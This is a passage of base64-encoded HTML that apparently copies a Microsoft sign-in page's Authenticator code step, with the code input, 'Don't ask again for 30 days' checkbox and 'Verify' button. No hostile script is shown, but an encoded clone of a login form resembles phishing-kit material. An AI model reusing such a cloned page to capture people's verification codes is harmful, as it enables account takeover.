lZZeU5pNDJNalZoTXk0NE16VXNNeTQ0TXpVc01Dd3dMREFzTWk0ekxqY3hPU3d5TGpFeU9Dd3lMakV5T0N3d0xEQXNNQ3d4TGpNdExqTTFPU3d4TGpJc01TNHlMREFzTUN3d0xDNDBOVE10TVN3eExqRXlOaXd4TGpFeU5pd3dMREFzTUMwdU5UWXlMVEVzTXk0d01qWXNNeTR3TWpZc01Dd3dMREF0TVM0MU56Z3RMak0xT1dndExqa3dObFl5TWk0NU5qbG9MamcwTkhFeExqa3dOaXd3TERFdU9UQTJMVEV1TWpZMkxEQXRNUzR5TFRFdU5EWTVMVEV1TW1FekxqTXNNeTR6TERBc01Dd3dMVEV1T1RBMkxqWTBNVll4T1M0ek56VmhOUzR6TVRZc05TNHpNVFlzTUN3d0xERXNNaTQwTURZdExqVXhOaXd6TGpZek1Td3pMall6TVN3d0xEQXNNU3d5TGpNME5DNDJOeklzTWk0eE56VXNNaTR4TnpVc01Dd3dMREVzTGpneU9Dd3hMamMxTERJdU1qY3hMREl1TWpjeExEQXNNQ3d4TFRFdU9UVXpMREl1TkRBMmRpNHdORGRoTWk0MkxESXVOaXd3TERBc01Td3hMalkwTVM0M05Td3lMakUwTkN3eUxqRTBOQ3d3TERBc01Td3VOakE1TERFdU5UTXhMREl1TmpVMUxESXVOalUxTERBc01Dd3hMVEVzTWk0eE56SkJOQzR6TERRdU15d3dMREFzTVN3ek1DNHpMREk1TERVdU16WTFMRFV1TXpZMUxEQXNNQ3d4TERJM0xqZ3lPQ3d5T0M0MVdpSWdabWxzYkQwaUl6UXdOREEwTUNJdlBqd3ZjM1puUGc9PSIgZGF0YS1iaW5kPSJpbWdTcmMsIGNzczogeyBcJ3NtYWxsXCc6IHNtYWxsIH0iIHNyYz0iZGF0YTppbWFnZS9zdmcreG1sO2Jhc2U2NCxQSE4yWnlCNGJXeHVjejBpYUhSMGNEb3ZMM2QzZHk1M015NXZjbWN2TWpBd01DOXpkbWNpSUhkcFpIUm9QU0kwT0NJZ2FHVnBaMmgwUFNJME9DSWdkbWxsZDBKdmVEMGlNQ0F3SURRNElEUTRJajQ4ZEdsMGJHVStZWE56WlhSelBDOTBhWFJzWlQ0OGNtVmpkQ0IzYVdSMGFEMGlORGdpSUdobGFXZG9kRDBpTkRnaUlHWnBiR3c5SW01dmJtVWlMejQ4Y0dGMGFDQmtQU0pOTXpnc01UUklNVEJXTXpSSU16aFdNVFJ0TWl3eU1rZzRWakV5U0RRd1ZqTTJUVEUzTGpZNE9Dd3hPQzQ0VmpJNExqZ3lPRWd4TlM0MU16RldNakV1TWpNMFlUTXVNaXd6TGpJc01Dd3dMREV0TGpZM01pNDBNMnd0TGpJMk5pNHhNVGRoTWk0MU5Td3lMalUxTERBc01Dd3hMUzQxTmpJdU1UZzRMREl1TkRJekxESXVOREl6TERBc01Dd3hMUzR6TGpBM2NTMHVNVFF4TGpBeU15MHVNamd4TGpBMU5WWXlNQzR5TmpaeExqUXlNaTB1TVRJMUxqZ3hNeTB1TWpneGRDNDNOall0TGpNME5HRTRMakkxTXl3NExqSTFNeXd3TERBc01Dd3hMak0wTkMwdU9EUTBhREV1TXpFemJUUXVOVE14TERndU1qTTBhRFF1TVRVMmRqRXVPRWd4T1M0NE5UbDJMUzQzTldFekxqSTVNaXd6TGpJNU1pd3dMREFzTVN3dU1qVXRNUzR6TkRRc05DNHhPRE1zTkM0eE9ETXNNQ3d3TERFc0xqWXlOUzB4TGpBM09DdzFMamNzTlM0M0xEQXNNQ3d4TEM0NE5EUXRMamd5T0hFdU1qRTVMUzR4T0RjdU5ETTRMUzR6TlRKMExqUXlNaTB1TXpKeExqUTFNeTB1TXpFeUxqYzJOaTB1TlRjNFlUSXVOVGt6TERJdU5Ua3pMREFzTUN3d0xDNHpMUzR5T0RGc0xqSTFMUzR5T0RGaE15NHhORGdzTXk0eE5EZ3NNQ3d3TERBc0xqTXlPQzB1TlRZeUxERXVOVGtzTVM0MU9Td3dMREFzTUN3dU1UQTVMUzQyTURrc01TNHhOellzTVM0eE56WXNNQ3d3TERBdExqTTFPUzB1T1RNM0xERXVOVFV5TERFdU5UVXlMREFzTUN3d0xURXVNRGM0TFM0ek1qZ3NNeTQyTWpVc015NDJNalVzTUN3d0xEQXRNaTQwTWpJc01WWXhPUzQyT0RoaE5DNDROallzTkM0NE5qWXNNQ3d3TERFc01TNHpOVGt0TGpZeU5TdzFMalUwT0N3MUxqVTBPQ3d3TERBc01Td3hMalV4TmkwdU1pdzBMalExTml3MExqUTFOaXd3TERBc01Td3hMak0wTkM0eE9EZ3NNaTQwTmpFc01pNDBOakVzTUN3d0xERXNNU3d1TlRZekxESXVNalF5TERJdU1qUXlMREFzTUN3eExDNDJNalV1T0RjMUxETXVNREEzTERNdU1EQTNMREFzTUN3eExDNHlNVGtzTVM0eE5UWXNNeTQxTXpnc015NDFNemdzTUN3d0xERXRMakExTlM0Mk5ERXNNeTQzTERNdU55d3dMREFzTVMwdU1UUTRMalUyTXl3ekxqUXpPU3d6TGpRek9Td3dMREFzTVMwdU5UWXlMamsxTXl3M0xqSXNOeTR5TERBc01Dd3hMUzQ0TGpoeExTNHlNVGt1TVRjeUxTNDBOVE11TXpRMGRDMHVORGcwTGpNME5Hd3RMak15TGpJek5IRXRMakUwT0M0eE1Ea3RMak11TWpNMExTNHhOVFl1TVRBNUxTNHlPRGt1TWpFNWRDMHVNalU0TGpJeE9YRXRMakV3T1M0eE1qVXRMakl1TWpJM2RDMHVNVFkwTGpJeE1XRXVOell6TGpjMk15d3dMREFzTUMwdU1UUXhMalF3TmsweU55NDRNamdzTWpndU5WWXlOaTQyTWpWaE15NDRNelVzTXk0NE16VXNNQ3d3TERBc01pNHpMamN4T1N3eUxqRXlPQ3d5TGpFeU9Dd3dMREFzTUN3eExqTXRMak0xT1N3eExqSXNNUzR5TERBc01Dd3dMQzQwTlRNdE1Td3hMakV5Tml3eExqRXlOaXd3TERBc01DMHVOVFl5TFRFc015NHdNallzTXk0d01qWXNNQ3d3TERBdE1TNDFOemd0TGpNMU9XZ3RMamt3TmxZeU1pNDVOamxvTGpnME5IRXhMamt3Tml3d0xERXVPVEEyTFRFdU1qWTJMREF0TVM0eUxURXVORFk1TFRFdU1tRXpMak1zTXk0ekxEQXNNQ3d3TFRFdU9UQTJMalkwTVZZeE9TNHpOelZoTlM0ek1UWXNOUzR6TVRZc01Dd3dMREVzTWk0ME1EWXRMalV4Tml3ekxqWXpNU3d6TGpZek1Td3dMREFzTVN3eUxqTTBOQzQyTnpJc01pNHhOelVzTWk0eE56VXNNQ3d3TERFc0xqZ3lPQ3d4TGpjMUxESXVNamN4TERJdU1qY3hMREFzTUN3eExURXVPVFV6TERJdU5EQTJkaTR3TkRkaE1pNDJMREl1Tml3d0xEQXNNU3d4TGpZME1TNDNOU3d5TGpFME5Dd3lMakUwTkN3d0xEQXNNU3d1TmpBNUxERXVOVE14TERJdU5qVTFMREl1TmpVMUxEQXNNQ3d4TFRFc01pNHhOekpCTkM0ekxEUXVNeXd3TERBc01Td3pNQzR6TERJNUxEVXVNelkxTERVdU16WTFMREFzTUN3eExESTNMamd5T0N3eU9DNDFXaUlnWm1sc2JEMGlJelF3TkRBME1DSXZQand2YzNablBnPT0iPjwhLS0gL2tvIC0tPgo8IS0tIC9rbyAtLT48IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLkZpZG9LZXkgLS0+PCEtLSAva28gLS0+Cgo8IS0tIGtvIGlmOiB0eXBlID09PSBQUk9PRi5UeXBlLkFjY2Vzc1Bhc3MgLS0+PCEtLSAva28gLS0+PC9kaXY+CiAgICA8ZGl2IGlkPSJpZERpdl9TQU9UQ0NfRGVzY3JpcHRpb24iIGNsYXNzPSJ0ZXh0LWJsb2NrLWJvZHkgb3ZlcmZsb3ctaGlkZGVuIiBkYXRhLWJpbmQ9InRleHQ6IGRlc2NyaXB0aW9uIj5FbnRlciB0aGUgY29kZSBkaXNwbGF5ZWQgaW4gdGhlIE1pY3Jvc29mdCBBdXRoZW50aWNhdG9yIGFwcCBvbiB5b3VyIG1vYmlsZSBkZXZpY2XigIs8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGNsYXNzPSJ0ZXh0LWJsb2NrLWJvZHkiPgogICAgPGRpdiBpZD0iaWREaXZfU0FPVENDX09UQ1JvdyIgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgIDxkaXYgcm9sZT0iYWxlcnQiIGNsYXNzPSJtZmEtZXJyb3IiIGFyaWEtbGl2ZT0iYXNzZXJ0aXZlIiBzdHlsZT0iZGlzcGxheTpub25lOyI+CgkJCQkKICAgICAgICAgICAgPCEtLSBrbyBpZjogZXJyb3IgLS0+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgICAgICA8ZGl2IGlkPSJpZERpdl9TQU9UQ0NfRXJyb3JNc2dfT1RDIiBjbGFzcz0iYWxlcnQgYWxlcnQtZXJyb3IgZmlyc3QiPgogICAgICAgICAgICAgICAgICAgIDxzcGFuIGlkPSJpZFNwYW5fU0FPVENDX0Vycm9yX09UQyIgZGF0YS1iaW5kPSJodG1sOiBlcnJvciI+WW91IGRpZG5cJ3QgZW50ZXIgdGhlIGV4cGVjdGVkIHZlcmlmaWNhdGlvbiBjb2RlLiBQbGVhc2UgdHJ5IGFnYWluLjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8IS0tIGtvIGlmOiBzdnIuZlNob3dWaWV3RGV0YWlsc0xpbmsgLS0+CiAgICAgICAgICAgICAgICAgICAgPGEgaWQ9IlZpZXdEZXRhaWxzIiBjbGFzcz0ibm8td3JhcCIgaHJlZj0iIyIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgICAgICAgICAgICAgdGV4dDogc3RyW1wnQ1RfU1RSX0Vycm9yX1ZpZXdEZXRhaWxzXCddLAogICAgICAgICAgICAgICAgICAgICAgICBjbGlja0V4cHI6IG9uU2hvd0RlYnVnRGV0YWlscyhkZWJ1Z0RldGFpbHMsIHRydWUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcmlhTGFiZWw6IHN0cltcJ0NUX1NUUl9FcnJvcl9WaWV3RGV0YWlsc0FyaWFMYWJlbFwnXSIgYXJpYS1sYWJlbD0iVmlldyBkZWJ1Z2dpbmcgZGV0YWlscyBmb3IgdGhpcyBlcnJvciI+VmlldyBkZXRhaWxzPC9hPgogICAgICAgICAgICAgICAgICAgIDwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICA8L2Rpdj4KICAgICAgICA8ZGl2IGlkPSJpZERpdl9TQU9UQ0NfU3VjY2Vzc19PVEMiIGNsYXNzPSJlcnJvckRpdiIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgICAgICAgICAgPHNwYW4gaWQ9ImlkU3Bhbl9TQU9UQ0NfU3VjY2Vzc19PVEMiIGNsYXNzPSJzdWNjZXNzIj48L3NwYW4+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPCEtLSBrbyBpZm5vdDogdHdvV2F5UG9sbGluZ05lZWRlZCB8fCBoaWRlSW5wdXRDb250cm9scygpIC0tPgogICAgICAgIDxkaXYgaWQ9ImlkRGl2X1NBT1RDQ19PVEMiIGNsYXNzPSJ0ZXh0Ym94IGZvcm0tZ3JvdXAiPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJwbGFjZWhvbGRlckNvbnRhaW5lciIgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdwbGFjZWhvbGRlci10ZXh0Ym94LWZpZWxkXCcsCiAgICAgICAgICAgICAgICBwdWJsaWNNZXRob2RzOiBvdGNJbnB1dFRleHRib3gucGxhY2Vob2xkZXJUZXh0Ym94TWV0aG9kcywKICAgICAgICAgICAgICAgIHBhcmFtczogewogICAgICAgICAgICAgICAgICAgIHNlcnZlckRhdGE6IHN2ciwKICAgICAgICAgICAgICAgICAgICBoaW50VGV4dDogc3RyW1wnQ1RfU0FPVENDX1NUUl9PVENfVEJIaW50XCddIH0sCiAgICAgICAgICAgICAgICBldmVudDogewogICAgICAgICAgICAgICAgICAgIHVwZGF0ZUZvY3VzOiBvdGNJbnB1dFRleHRib3gudGV4dGJveF9vblVwZGF0ZUZvY3VzIH0gfSI+PCEtLSBrbyB3aXRoUHJvcGVydGllczogeyBcJyRwbGFjZWhvbGRlclRleHRcJzogcGxhY2Vob2xkZXJUZXh0IH0gLS0+CiAgICA8IS0tIGtvIHRlbXBsYXRlOiB7IG5vZGVzOiAkY29tcG9uZW50VGVtcGxhdGVOb2RlcywgZGF0YTogJHBhcmVudCB9IC0tPgoKICAgICAgICAgICAgICAgIDxpbnB1dCBpZD0iaWRUeHRCeF9TQU9UQ0NfT1RDIiBuYW1lPSJtZmExLWNvZGUiIGNsYXNzPSJtZmExLWNvZGUgZm9ybS1jb250cm9sIiB0eXBlPSJ0ZWwiIGF1dG9jb21wbGV0ZT0ib2ZmIiBhcmlhLXJlcXVpcmVkPSJ0cnVlIiBkYXRhLWJpbmQ9IgogICAgICAgICAgICAgICAgICAgIGF0dHI6IHsKICAgICAgICAgICAgICAgICAgICAgICAgXCdtYXhsZW5ndGhcJzogb3RjTGVuZ3RoLAogICAgICAgICAgICAgICAgICAgICAgICBcJ2FyaWEtbGFiZWxsZWRieVwnOiBcJ2lkRGl2X1NBT1RDQ19UaXRsZVwnLAogICAgICAgICAgICAgICAgICAgICAgICBcJ2FyaWEtZGVzY3JpYmVkYnlcJzogXCdpZERpdl9TQU9UQ1NfVGl0bGUgaWREaXZfU0FPVENDX0Rlc2NyaXB0aW9uIGlkU3Bhbl9TQU9UQ0NfRXJyb3JfT1RDXCcgfSwKICAgICAgICAgICAgICAgICAgICBjc3M6IHsgXCdoYXMtZXJyb3JcJzogZXJyb3IgfSwKICAgICAgICAgICAgICAgICAgICB0ZXh0SW5wdXQ6IG90Y0lucHV0VGV4dGJveC52YWx1ZSwKICAgICAgICAgICAgICAgICAgICBhcmlhTGFiZWw6IHN0cltcJ0NUX1NBT1RDQ19TVFJfT1RDX1RCSGludFwnXSwKICAgICAgICAgICAgICAgICAgICBoYXNGb2N1c0V4OiBvdGNJbnB1dFRleHRib3guZm9jdXNlZCwKICAgICAgICAgICAgICAgICAgICBwbGFjZWhvbGRlcjogJHBsYWNlaG9sZGVyVGV4dCIgbWF4bGVuZ3RoPSI2IiBhcmlhLWxhYmVsbGVkYnk9ImlkRGl2X1NBT1RDQ19UaXRsZSIgYXJpYS1kZXNjcmliZWRieT0iaWREaXZfU0FPVENTX1RpdGxlIGlkRGl2X1NBT1RDQ19EZXNjcmlwdGlvbiBpZFNwYW5fU0FPVENDX0Vycm9yX09UQyIgYXJpYS1sYWJlbD0iQ29kZSIgcGxhY2Vob2xkZXI9IkNvZGUiPgogICAgICAgICAgICA8IS0tIC9rbyAtLT4KPCEtLSAva28gLS0+CjwhLS0ga28gaWZub3Q6IHVzZVBsYWNlaG9sZGVyQXR0cmlidXRlIC0tPjwhLS0gL2tvIC0tPjwvZGl2PgogICAgICAgIDwvZGl2PgoKICAgICAgICA8IS0tIGtvIGlmOiB0d29GYWN0b3JBdXRoUGluRW5hYmxlZCAtLT48IS0tIC9rbyAtLT4KICAgICAgICA8IS0tIC9rbyAtLT4KICAgIDwvZGl2Pgo8L2Rpdj4KPGRpdiBjbGFzcz0idGV4dC1ibG9jay1ib2R5IHRleHQtYm9keSIgZGF0YS1iaW5kPSJ2aXNpYmxlOiBzaG93U2VuZE5vdGlmaWNhdGlvbiIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij4KICAgIDxhIGlkPSJpZEFfU0FPVENDX1NlbmROb3RpZmljYXRpb24iIGhyZWY9IiMiIGRhdGEtYmluZD0iaHRtbDogc3RyW1wnQ1RfU0FPVENDX1NUUl9TZW5kTm90aWZpY2F0aW9uXCddLCBjbGljazogc3dpdGNoVG9TZXNzaW9uQXBwcm92YWxfb25DbGljayI+U2VuZCBhbiBpZGVudGl0eSB2ZXJpZmljYXRpb24gcmVxdWVzdCB0byBteSBNaWNyb3NvZnQgQXV0aGVudGljYXRvciBhcHAuPC9hPgo8L2Rpdj4KCjxkaXYgZGF0YS1iaW5kPSJjc3M6IHsgXCdwb3NpdGlvbi1idXR0b25zXCc6ICF0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgJmFtcDsmYW1wOyAhdHdvV2F5UG9sbGluZ05lZWRlZCB9Ij4KICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgPGRpdiBpZD0iaWREaXZfU0FPVENDX1REX1NlY3Rpb24iIGNsYXNzPSJuby1tYXJnaW4tdG9wLWJvdHRvbSIgZGF0YS1iaW5kPSJ2aXNpYmxlOiB0ZENoZWNrYm94LmlzU2hvd24gJmFtcDsmYW1wOyAhaGlkZUlucHV0Q29udHJvbHMoKSI+CiAgICAgICAgICAgIDxkaXYgaWQ9ImlkRGl2X1NBT1RDQ19URCIgY2xhc3M9ImNvbC1tZC0yNCBmb3JtLWdyb3VwIG5vLW1hcmdpbi10b3AgY2hlY2tib3giPgogICAgICAgICAgICAgICAgPGxhYmVsIGlkPSJpZExibF9TQU9UQ0NfVERfQ2IiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBpZD0iaWRDaGtCeF9TQU9UQ0NfVEQiIHR5cGU9ImNoZWNrYm94IiB2YWx1ZT0idHJ1ZSIgZGF0YS1iaW5kPSJjaGVja2VkOiB0ZENoZWNrYm94LmlzQ2hlY2tlZCwgZGlzYWJsZTogdGRDaGVja2JveC5pc0Rpc2FibGVkLCBhcmlhTGFiZWw6IHN0cltcJ0NUX1NBT1RDQ19TVFJfQWRkVERcJ10sIGF0dHI6IHsgbmFtZTogc3ZyLnNUcnVzdGVkRGV2aWNlQ2hlY2tib3hOYW1lIH0iIG5hbWU9InJlbWVtYmVyTUZBIiBhcmlhLWxhYmVsPSJEb25cJ3QgYXNrIGFnYWluIGZvciAzMCBkYXlzIj4KICAgICAgICAgICAgICAgICAgICA8c3BhbiBkYXRhLWJpbmQ9InRleHQ6IHN0cltcJ0NUX1NBT1RDQ19TVFJfQWRkVERcJ10iPkRvblwndCBhc2sgYWdhaW4gZm9yIDMwIGRheXM8L3NwYW4+CiAgICAgICAgICAgICAgICA8L2xhYmVsPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCiAgICAgICAgPCEtLSBrbyBpZjogaXNJbml0aWFsU3RhdGUgfHwgc3ZyLnVybE1vcmVJbmZvIC0tPgogICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0yNCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9InRleHQtMTMiPgogICAgICAgICAgICAgICAgPCEtLSBrbyBpZjogaXNJbml0aWFsU3RhdGUgJiYgc2hvd1N3aXRjaFByb29mc0xpbmsgLS0+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIiBpZD0iaWREaXZfU0FPVENTX0hhdmluZ1Ryb3VibGUiIGRhdGEtYmluZD0iCiAgICAgICAgICAgICAgICAgICAgICAgIGh0bWxXaXRoQmluZGluZ3M6IHN0cltcJ0NUX1NBT1RDQ19TVFJfVG9nZ2xlXCddLAogICAgICAgICAgICAgICAgICAgICAgICBjaGlsZEJpbmRpbmdzOiB7IFwnc2lnbkluQW5vdGhlcldheVwnOiB7IGNsaWNrOiBzd2l0Y2hUb090Y1JlcXVlc3Rfb25DbGljayB9IH0iPkhhdmluZyB0cm91YmxlPyA8YSBocmVmPSIjIiBpZD0ic2lnbkluQW5vdGhlcldheSI+U2lnbiBpbiBhbm90aGVyIHdheTwvYT48L2Rpdj4KICAgICAgICAgICAgICAgIDwhLS0gL2tvIC0tPgogICAgICAgICAgICAgICAgPCEtLSBrbyBpZjogc3ZyLnVybE1vcmVJbmZvIC0tPgogICAgICAgICAgICAgICAgPGRpdiBkYXRhLWJpbmQ9ImNzczogeyBcJ2Zvcm0tZ3JvdXBcJzogIXR3b1dheVBvbGxpbmdOZWVkZWQgfSIgY2xhc3M9ImZvcm0tZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgIDxhIGlkPSJtb3JlSW5mb1VybCIgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHBzOi8vZ28ubWljcm9zb2Z0LmNvbS9md2xpbmsvcC8/TGlua0lkPTcwODYxNCIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRleHQ6IHN0cltcJ0NUX1NUUl9Nb3JlX0luZm9cJ10sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmOiBzdnIudXJsTW9yZUluZm8sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBhcmlhTGFiZWw6IHN0cltcJ0NUX1NUUl9Nb3JlX0luZm9fQXJpYUxhYmVsXCddIiBhcmlhLWxhYmVsPSJNb3JlIGluZm9ybWF0aW9uIGFib3V0IHR3byBzdGVwIHZlcmlmaWNhdGlvbiI+TW9yZSBpbmZvcm1hdGlvbjwvYT4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPCEtLSAva28gLS0+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgICAgIDwhLS0gL2tvIC0tPgogICAgPC9kaXY+CjwvZGl2PgoKPGRpdiBjbGFzcz0id2luLWJ1dHRvbi1waW4tYm90dG9tIGJvaWxlcnBsYXRlLWJ1dHRvbi1ib3R0b20iIGRhdGEtYmluZD0iY3NzIDogeyBcJ2JvaWxlcnBsYXRlLWJ1dHRvbi1ib3R0b21cJzogdGVuYW50QnJhbmRpbmcuQm9pbGVyUGxhdGVUZXh0IH0iPgogICAgPGRpdiBjbGFzcz0icm93IG1vdmUtYnV0dG9ucyIgZGF0YS1iaW5kPSJjc3M6IHsgXCdtb3ZlLWJ1dHRvbnNcJzogdGVuYW50QnJhbmRpbmcuQm9pbGVyUGxhdGVUZXh0IH0iPgogICAgICAgIDxkaXYgZGF0YS1iaW5kPSJjb21wb25lbnQ6IHsgbmFtZTogXCdmb290ZXItYnV0dG9ucy1maWVsZFwnLAogICAgICAgICAgICBwYXJhbXM6IHsKICAgICAgICAgICAgICAgIHNlcnZlckRhdGE6IHN2ciwKICAgICAgICAgICAgICAgIHJlbW92ZUJvdHRvbU1hcmdpbjogdHJ1ZSwKICAgICAgICAgICAgICAgIHByaW1hcnlCdXR0b25JZDogXCdpZFN1Ym1pdF9TQU9UQ0NfQ29udGludWVcJywKICAgICAgICAgICAgICAgIHByaW1hcnlCdXR0b25UZXh0OiBzdHJbXCdDVF9TQU9UQ0NfU1RSX0NvbnRpbnVlXCddLAogICAgICAgICAgICAgICAgc2Vjb25kYXJ5QnV0dG9uSWQ6IFwnaWRCdG5fQmFja1wnLAogICAgICAgICAgICAgICAgc2Vjb25kYXJ5QnV0dG9uVGV4dDogc3RyW1wnQ1RfU0FPVENDX1NUUl9DYW5jZWxcJ10sCiAgICAgICAgICAgICAgICBpc1NlY29uZGFyeUJ1dHRvblZpc2libGU6ICFzaG93U3dpdGNoUHJvb2ZzTGluaywKICAgICAgICAgICAgICAgIGlzUHJpbWFyeUJ1dHRvblZpc2libGU6IHN2ci5mU2hvd0J1dHRvbnMgJmFtcDsmYW1wOyAhdHdvV2F5UG9sbGluZ05lZWRlZCAmYW1wOyZhbXA7ICFoaWRlSW5wdXRDb250cm9scygpLAogICAgICAgICAgICAgICAgc2Vjb25kYXJ5QnV0dG9uRGVzY3JpYmVkQnk6IChzdnIuZlNob3dCdXR0b25zICZhbXA7JmFtcDsgdHdvV2F5UG9sbGluZ05lZWRlZCkgPyBcJ2lkRGl2X1NBT1RDQ19EZXNjcmlwdGlvblwnIDogbnVsbCB9LAogICAgICAgICAgICBldmVudDogewogICAgICAgICAgICAgICAgcHJpbWFyeUJ1dHRvbkNsaWNrOiBwcmltYXJ5QnV0dG9uX29uQ2xpY2ssCiAgICAgICAgICAgICAgICBzZWNvbmRhcnlCdXR0b25DbGljazogc2Vjb25kYXJ5QnV0dG9uX29uQ2xpY2sgfSB9Ij48ZGl2IGNsYXNzPSJjb2wteHMtMjQgbm8tcGFkZGluZy1sZWZ0LXJpZ2h0IGJ1dHRvbi1jb250YWluZXIgbm8tbWFyZ2luLWJvdHRvbSIgZGF0YS1iaW5kPSIKICAgIHZpc2libGU6IGlzUHJpbWFyeUJ1dHRvblZpc2libGUoKSB8fCBpc1NlY29uZGFyeUJ1dHRvblZpc2libGUoKSwKICAgIGNzczogeyBcJ25vLW1hcmdpbi1ib3R0b21cJzogcmVtb3ZlQm90dG9tTWFyZ2luIH0iPgoKICAgIDwhLS0ga28gaWY6IGlzU2Vjb25kYXJ5QnV0dG9uVmlzaWJsZSAtLT48IS0tIC9rbyAtLT4KCiAgICA8ZGl2IGRhdGEtYmluZD0iY3NzOiB7IFwnaW5saW5lLWJsb2NrXCc6IGlzUHJpbWFyeUJ1dHRvblZpc2libGUgfSIgY2xhc3M9ImlubGluZS1ibG9jayI+CiAgICAgICAgPCEtLSB0eXBlPSJzdWJtaXQiIGlzIG5lZWRlZCBpbi1hZGRpdGlvbiB0byBcJ3R5cGVcJyBpbiBwcmltYXJ5QnV0dG9uQXR0cmlidXRlcyBvYnNlcnZhYmxlIHRvIHN1cHBvcnQgSUU4IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGlkPSJpZFN1Ym1pdF9TQU9UQ0NfQ29udGludWUiIGNsYXNzPSJzdWJtaXQtbWZhMS1jb2RlIGJ0biBidG4tYmxvY2sgYnRuLXByaW1hcnkiIGRhdGEtcmVwb3J0LWV2ZW50PSJTaWduaW5fU3VibWl0IiBkYXRhLXJlcG9ydC10cmlnZ2VyPSJjbGljayIgZGF0YS1yZXBvcnQtdmFsdWU9IlN1Ym1pdCIgZGF0YS1iaW5kPSIKICAgICAgICAgICAgICAgIGF0dHI6IHByaW1hcnlCdXR0b25BdHRyaWJ1dGVzLAogICAgICAgICAgICAgICAgZXh0ZXJuYWxDc3M6IHsKICAgICAgICAgICAgICAgICAgICBcJ2J1dHRvblwnOiB0cnVlLAogICAgICAgICAgICAgICAgICAgIFwncHJpbWFyeVwnOiB0cnVlIH0sCiAgICAgICAgICAgICAgICB2YWx1ZTogcHJpbWFyeUJ1dHRvblRleHQoKSB8fCBzdHJbXCdDVF9QV0RfU1RSX1NpZ25Jbl9CdXR0b25fTmV4dFwnXSwKICAgICAgICAgICAgICAgIGhhc0ZvY3VzOiBmb2N1c09uUHJpbWFyeUJ1dHRvbiwKICAgICAgICAgICAgICAgIGNsaWNrOiBwcmltYXJ5QnV0dG9uX29uQ2xpY2ssCiAgICAgICAgICAgICAgICBlbmFibGU6IGlzUHJpbWFyeUJ1dHRvbkVuYWJsZWQsCiAgICAgICAgICAgICAgICB2aXNpYmxlOiBpc1ByaW1hcnlCdXR0b25WaXNpYmxlLAogICAgICAgICAgICAgICAgcHJldmVudFRhYmJpbmc6IHByaW1hcnlCdXR0b25QcmV2ZW50VGFiYmluZyIgdmFsdWU9IlZlcmlmeSI+CiAgICA8L2Rpdj4KPC9kaXY+PC9kaXY+CiAgICA8L2Rpdj4KPC9kaXY+Cgo8IS0tIGtvIGlmOiB0ZW5hbnRCcmFuZGluZy5Cb2lsZXJQbGF0ZVRleHQgLS0+CjxkaXYgaWQ9ImlkQm9pbGVyUGxhdGVUZXh0IiBjbGFzcz0id3JhcC1jb250ZW50IGJvaWxlcnBsYXRlLXRleHQiIGRhdGEtYmluZD0iCiAgICBodG1sV2l0aE1vZHM6IHRlbmFudEJyYW5kaW5nLkJvaWxlclBsYXRlVGV4dCwKICAgIGh0bWxNb2RzOiB7IGZpbHRlckxpbmtzOiBzdnIuZklzSG9zdGVkIH0sCiAgICBjc3M6IHsgXCd0cmFuc3BhcmVudC1saWdodGJveFwnOiB0ZW5hbnRCcmFuZGluZy5Vc2VUcmFuc3BhcmVudExpZ2h0Qm94IH0iPjxwPjwvcD4KPC9kaXY+CjwhLS0gL2tvIC0tPjwvZGl2PjwhLS0gL2tvIC0tPgogICAgICAgICAgICA8IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAKICAgICAgICAgICAgPCEtLSBrbyBpZjogJHBhcmVudC5jdXJyZW50Vmlld0luZGV4KCkgPT09ICRpbmRleCgpIC0tPjwhLS0gL2tvIC0tPgogICAgICAgIAogICAgICAgICAgICA8IS0tIGtvIGlmOiAkcGFyZW50LmN1cnJlbnRWaWV3SW5kZXgoKSA9PT0gJGluZGV4KCkgLS0+PCEtLSAva28gLS0+CiAgICAgICAgCiAgICAgICAgICAgIDwhLS0ga28gaWY6ICRwYXJlbnQuY3VycmVudFZpZXdJbmRleCgpID09PSAkaW5kZXgoKSAtLT48IS0tIC9rbyAtLT4KICAgICAgICAK